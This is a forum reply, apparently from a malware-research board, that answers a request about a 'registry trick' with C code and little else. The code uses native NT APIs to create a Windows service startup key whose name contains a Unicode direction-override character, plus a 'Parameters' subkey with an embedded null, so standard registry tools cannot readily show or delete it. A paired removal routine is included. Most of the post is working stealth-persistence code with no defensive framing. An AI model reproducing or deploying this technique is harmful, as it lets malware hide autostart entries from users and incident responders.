kmd wrote:would be nice if you can give more info about registry trick
Code: Select allWCHAR *ServicesPath = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\";
WCHAR wParameters[] = {'P', 'a', 'r', 'a', 'm', 'e', 't', 'e', 'r', 's', 0, '.', 'd', '\''};
BYTE KeyName[] = {0x2E, 0x20, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x64, 0x00, 0x70, 0x00, 0x75, 0x00, 0x67}; //<-[0][1] Unicode LRO
BYTE Key[MAX_PATH];
Code: Select allVOID SfSetStartupEntry(
LPWSTR lpFileName
)
{
UNICODE_STRING usTmp, usParams;
OBJECT_ATTRIBUTES obja;
NTSTATUS Status;
HANDLE hKey, hSubKey;
ULONG bytesIO = 0;
UNREFERENCED_PARAMETER(lpFileName);
_strcpyW((PWSTR)&Key[0], ServicesPath);
_strcatW((PWSTR)&Key, (PWSTR)&KeyName);
RtlInitUnicodeString(&usTmp, (PCWSTR)&Key);
InitializeObjectAttributes(&obja, &usTmp, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &obja, 0, 0, 0, &bytesIO);
if (NT_SUCCESS(Status)) {
usParams.Buffer = wParameters;
usParams.Length = 14 * sizeof(WCHAR);
usParams.MaximumLength = usParams.Length + sizeof(WCHAR);
obja.RootDirectory = hKey;
obja.ObjectName = &usParams;
Status = NtCreateKey(&hSubKey, KEY_WRITE, &obja, 0, NULL, 0, NULL);
if (NT_SUCCESS(Status)) {
NtSetValueKey(hSubKey, &usParams, 0, REG_DWORD, &hKey, sizeof(DWORD));
NtClose(hSubKey);
}
/*
put service values here
*/
NtClose(hKey);
}
}
use this to remove
Code: Select allVOID SfRemoveStartEntry(
LPWSTR lpFileName
)
{
UNICODE_STRING usTmp, usParams;
OBJECT_ATTRIBUTES obja;
NTSTATUS Status;
HANDLE hKey, hSubKey;
ULONG bytesIO = 0;
UNREFERENCED_PARAMETER(lpFileName);
_strcpyW((PWSTR)&Key[0], ServicesPath);
_strcatW((PWSTR)&Key, (PWSTR)&KeyName);
RtlInitUnicodeString(&usTmp, (PCWSTR)&Key);
InitializeObjectAttributes(&obja, &usTmp, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = NtOpenKey(&hKey, KEY_ALL_ACCESS, &obja);
if (NT_SUCCESS(Status)) {
usParams.Buffer = wParameters;
usParams.Length = 14 * sizeof(WCHAR);
usParams.MaximumLength = usParams.Length + sizeof(WCHAR);
obja.RootDirectory = hKey;
obja.ObjectName = &usParams;
Status = NtOpenKey(&hSubKey, KEY_ALL_ACCESS, &obja);
if (NT_SUCCESS(Status)) {
NtDeleteKey(hSubKey);
NtClose(hSubKey);
}
NtDeleteKey(hKey);
NtClose(hKey);
}
}